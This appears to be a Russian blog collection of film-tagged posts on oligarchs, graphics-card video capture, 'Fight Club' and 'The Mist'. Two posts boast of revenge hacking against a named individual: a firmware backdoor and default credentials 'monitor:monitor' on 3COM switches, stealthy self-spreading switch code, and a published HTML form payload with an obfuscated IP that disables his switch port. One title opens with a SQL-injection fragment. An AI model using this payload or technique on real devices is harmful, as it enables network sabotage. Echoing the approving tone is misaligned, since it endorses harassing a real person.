Category: кино

Category was added automatically. Read all entries about "кино".

rune

Илон Маск и Миша Прохоров

Помните фильм "Джентельмены удачи", снятый ещё при совке? Закономерный вопрос: почему Василий Алибабаевич, неспособный даже правильно разжечь керогаз, не спалив дом, занимал в тюрьме лучшие нары? Неужели купил их на доходы со своего ослино-бензинового бизнеса? Но как ему удавалось держать такой бизнес при таких умственных способностях?

Могу поверить, что со шлюхами Дерипаска облажался, потому что заказывал их впервые в жизни. До этого здоровье позволяло проводить переговоры без них. А в остальном, с предприимчивостью у него всё хорошо, и называть его зиц-председателем, только и подписывающим чужие приказы, неправильно.

Но давайте возьмём другого олигарха — Мишу Прохорова.

Вот у нас любят ругать Илона Маска. Дескать, его высокотехнологичные бизнесы убыточны, существуют при поддержке государства, и вообще созданы с целью пиара.

Ладно, а "Ё-мобиль" Миши — это что, не пиар при поддержке государства?

Но извините, "Теслы" серийно производятся, ездят по всему миру, всюду узнаваемы.

Миша же сделал своих "Ё-мобилей" отсилы штуки три, и на этом угас. А ещё "Правое дело" возглавлял!

Вы поняли, да? Всё, что могут наши олигархи — это разбазаривать народное достояние и продавать жильё по завышенным ценам, под протекторатом правительства.

Денег у них более чем достаточно, чтобы создать в России какое-нибудь конкурентоспособное производство, ориентированное на мировой рынок. Проблема в том, что построить хоть какой-нибудь завод — для них непосильная задача.

Тут явно прорезывается какая-то параллель с совком, который они зачем-то старательно пытаются вернуть.

Именно им меньше всего хочется, чтобы Россия стала нормальной страной, выпускающей высокотехнологичную продукцию и поставляющую её на мировой рынок. Ведь сейчас-то они тут князья, уважаемые люди. А появятся новые олигархи, местные Биллы Гейтсы и Илоны Маски, которые будут жить своим умом, а бывшим зиц-председателям плевать в морду.

rune

Обидно, но nVidia делает говно

Не знаю, как там у nVidia с параллельными вычислениями, но по аналоговой части руки nVidia растут из аномально кривой жопы. Купив когда-то Ti4200+VIVO, по задумке, умеющей захватывать видео, я с ней намаялся уже до усрачки.

Во-первых, захватывался зелёный прямоугольник, пока не откатил дрова видеокарты с 93 до 84.
Захват работал далеко не во всех программах, а если работал, то пропускал 4 кадра каждую секунду, пока не откатил дрова с 84 до 77.

При установки драйверов надо 2 раза перегружаться. Потом надо обязательно переставлять драйвера видеозахвата и перегружаться 3 раз, иначе не работает.

Теперь захват, наконец, заработал, но на видео периодически появляется белый прямоугольник, закрывающий почти весь экран. Проблема возникает с не совсем стандартным видеосигналом -- при цифровке с сеги (там нестандартный видеосигнал с 16 кГц строчной) и при цифровке со старых видеокассет (там частота видеосигнала из-за старости пленки тоже плавает).

Да и вообще, качество сигнала желает лучшего.

Поиск по форумам показал, что белый прямоугольник -- чисто фирменный глюк и лечится установкой вообще самых древних и примитивных драйверов, какие только есть.

Захват у nVidia -- говно.
rune

Лабиринт

Навеяно детским фильмом-сказкой "Лабиринт". Какой лабиринт пройти проще: статический, или который всё время изменяется? Для простоты считаем, что эволюция лабиринта слабо скоррелирована с действиями игрока, т.к. иначе возможно всё что угодно. Кроме того: проход через лабиринт обязатально существует каждый момент времени, лабиринт всё время занимает одинаковую площадь и имеет примерно одинаковую сложность.
rune

` UNION SELECT -- О возможности восстания микропроцессорной автоматики

Все мы доверяем микропроцессорной автоматике, а где-то и очень сильно от неё зависим. Микропроцессорная автоматика сейчас почти во всех бытовых приборах, в автомобилях, в производственном оборудовании. Верите ли вы в восстание автоматики против человека?

Упал польский самолёт. Было ли это восстанием автоматики? Ответить на этот вопрос невозможно.

Я вам расскажу такую историю. Однажды мне отрубили интернет за перебор паролей. Для тех, кто не знает, но хочет понять ситуацию: локалка, у всех белый IP, файрволлов нет, кругом Win95, мода на divx-фильмы, ругают за P2P и исходящий трафик, пароли на папки в стиле '12345' (от внешних сканнеров). То есть, если вы не поставите на кино пароль -- его рано или поздно найдёт сканер и кино начнут качать из далёкого инета, это исходящий трафик и нельзя. И тут я с уже не помню как называющимся побуквенным переборщиком паролей, охочусь за фильмами в нашей локалке.

Так вот, отрубили мне интернет. Типа, за хакерство. Удалось даже выяснить, кто стуканул. Выяснил, что свитчи у нас стоят 3COM Superstack 1100. Были и другие, но не в этом суть. Качаю прошивку с официального сайта. Процессор 68000, хорошо мне знакомый. Где-то недельку шарюсь в коде. Молодой, энергии много, чего бы в прошивке недельку не пошариться? И нахожу одну очень забавную дырочку. Видимо, оставили для службы поддержки. Оказывается, есть скрытая возможность через Web-интерфейс получить полный доступ к памяти! Из-под любого пользователя! Ладно, логинюсь monitor:monitor, осваиваюсь.

Пишу программку на ассемблере, периодически отрубающую интернет стукачу. Заливаю в память свитча. Работает. Ждём, что будет. Свитч перегрузили. Ладно. Пишем программку, которая помимо прочего умеет заражать свитч N2, который сможет потом заразить свитч N1. Запускаем. Работает. Всё ништяк!

В общем, через некоторое время наведываюсь к админу. Спрашиваю, правда ли, что у стукача "внезапно" заглючил интернет. Есть такое, говорит. Пришлось даже ключик от свитча ему отдать, чтобы он его перегружал ходил. Ну, я говорю, что знаю, как решить проблему, но придётся мне включить обратно интернет. В принципе, я и сам себе уже умел когда надо включать интернет, но не хотелось палева. В общем, админ согласился.

Я сказал админу следующий рецепт: нужно по очереди выключить все свитчи в сети, а потом по очереди их включить. Админ не понял, в чём фишка, думал розыгрыш. Но от безысходности это проделал. Сработало!

Так вот, обращаю ваше внимание. После того, как вирус был заслан в первый свитч, моё общение с сетью извне закончилось. После этого можно было бесконечно отслеживать трафик через маршрутизатор. Следов бы не нашлось. Теоретически, можно было бы добавить в вирус задержку в месяц, и тогда вообще всё было бы идеально. Далее. Если бы админ снял свитч и унёс в сервис-центр, в сервисе бы тоже ничего не нашли. Так как вирус сидел в ОЗУ. После того, как админ сделал как я ему сказал -- выключил по очереди все свитчи, а уже потом снова их включил -- следов от вируса не осталось вообще.

Так что, ребята, думайте над открывающимися иногда возможностями. Я справился с такой вот местью собственными силами. Не понадобилось ни 100500 инженеров, ни миллион человеко-часов работы, ни специально обученной диверсионной группы.

Конечно, восстание автоматики -- не единственная возможная в этом мире наприятность. Но я бы на вашем месте не стал недооценивать эту возможность. Вы говорите: "да в серьезной автоматике всё тыщу раз проверено и обсосано". Что ж, свитч -- не такая уж и несерьезная автоматика, не так ли?
rune

Причём здесь "Бойцовский клуб"

Куда ни приеду, моя работа заключается в применении одной простой формулы. Я храню тайны.
Это элементарная арифметика.
Задача из учебника.
Если автомобиль новой модели, изготовленный моей компанией, выехал из Чикаго на запад со скоростью 60 миль в час, -- и заклинивает задний мост, машина разбивается и сгорает со всеми, кто попался в ловушку ее салона, -- стоит ли моей компании возвращать модель на доработку?
Берем общее количество выпущенных машин данной модели (A), умножаем на вероятное количество машин с неисправностью (B), потом умножаем результат на среднюю стоимость решения вопроса без суда (C). A умножить на B умножить на C. Равняется X. Столько стоит не возвратить модель на доработку.
Если X больше стоимости возврата -- мы возвращаем машины, и никто больше не пострадает.
Если X -- меньше стоимости возврата -- возврата не будет.

Когда делаю подобные циничные рассчёты, я часто упонминаю "Бойцовский клуб". Многие упрекают меня, что я делаю это не к месту.

Да, я люблю упоминать "Бойцовский клуб" при таких расчётах, и вот почему.

В "Бойцовском клубе" как раз описывается история "успешного" "эффективного менеджера", работа которого заключалась именно в применении подобных формул.

Однажды, осознав ущербность своей личности и никчёмность своего существования, он тронулся крышей и взялся за организацию уничтожения всей цивилизации. По фильму, у него неплохо получилось (в книге, говорят, случился облом). После чего и крыша на место вправилась.

Удивительно, но, последние годы, именно это явление мы и наблюдаем по всему миру: съехавшие крышей "эффективные менеджеры" уверенно ведут цивилизацию к гибели.
rune

Фильм "Мгла" по Стивену Кингу и экономический кризис

Пересмотрел недавно фильм-ужастик "Мгла", снятый по Стивену Кингу.

Параллель между развитием сюжета фильма и развитием экономического кризиса потрясающая. Видимо, причина такого совпадения -- общие закономерности, свойственные кризисным ситуациям.

В принципе, если получится правильно сопоставить события фильма и экономического кризиса, то можно однозначно предсказать его дальнейшее развитие.

А пока, если верить фильму, мне удалось сделать такие заключения:

1. Правительственные меры по поддержке спроса рано или поздно возымеют эффект, но это случится в точности сразу после того, как кризис сам рассосется, и эффект будет второстепенным.
2. Кризис закончится тогда, когда даже самым решительным начнёт казаться, что выхода уже нет.
3. Выиграют не столько умные, сколько везучие.
4. Тем, кто хорошо держался, но в конце-концов вышел из игры, на минимуме, будет очень обидно.
5. Кризису будет сопутствовать разный идеологический хаос..
rune

о бытовом хакерстве

Сейчас наша институтская сеть зафаерволена по самое нехочу. Но, когда-то она была открыта настежь. А я тогда очень любил качать фильмы, в первую очередь их внутренней сети. Но никто их не расшаривал — все боялись злобных внешних любителей сканеров ресурсов, накручивающих исходящий трафик. Поэтому, фильмы все лежали под паролем, хотя бы из 1-го символа. А ещё, тогда была очень распространена 98-я винда.

И программка xIntruder, которой я эти пароли подбирал. Мне-то качать можно, я из внутренней сети всё-таки.

А ещё был такой нехороший человек Слава Рандин, который стуканул сисадмину о моей склонности к использованию xIntruder, да ещё и расписал это так (и, видимо, проигрозил чем-то), что наш админ отрубил мне интернет, почти на всё лето.

Админ, конечно, вряд ли знал, что мой опыт ковыряния 16-битных приставок позволил весьма быстро разобраться в прошивке свитча 3COM Switch 1100, процессор которого имел систему команд 68000, а прошивка свободно лежала в интернете.

Итак, вскоре в интернете появилась страничка с примерно таким содержанием:


<FONT SIZE=-1><CENTER><A HREF="http://www.narod.ru/guestbook/?owner=18924245">Гостевая книга</A></CENTER></FONT>
С древнейших времен люди сохраняли веру в чудеса. И даже сумасшедший прогресс XX века не смог изменить ситуацию.<BR><BR>

Поверите ли вы, что некто Слава Рандин может отключить кому-нибудь интернет не нажав ни одной кнопки?<BR><BR>

Нет? А ведь нажатием всего одной кнопки отключить кому-нибудь интернет может и вовсе каждый!<BR><BR>

Даже самому Славе Рандину! Хотите попробовать?<BR><BR>

<FORM ACTION="http://monitor:monitor@%3030%32%2E%30342%2E1%38%38%2E%35/dev01/bin/cso.rhtm?WEB000+1" METHOD=POST>
<INPUT TYPE=hidden NAME=arg VALUE=''>
<INPUT TYPE=hidden NAME=scr VALUE='__CliWrite("regs port 21"); __CliWrite("regs set csrk 0xffffffff"); out("\x3CSCRIPT LANGUAGE=JAVASCRIPT1.1\x3Ealert(\x22Вы все сделали правильно,\x5CnСлава Рандин теперь без интернета!\x22); history.go(-1); \x3C/SCRIPT\x3E");'>

<INPUT TYPE=submit Value="Да, хочу!">
</FORM>


Страничка стала популярной. Меня стали называть злобным хакером. А Слава потратил время, чтобы познакомитсья со мной лично и назвать гадом.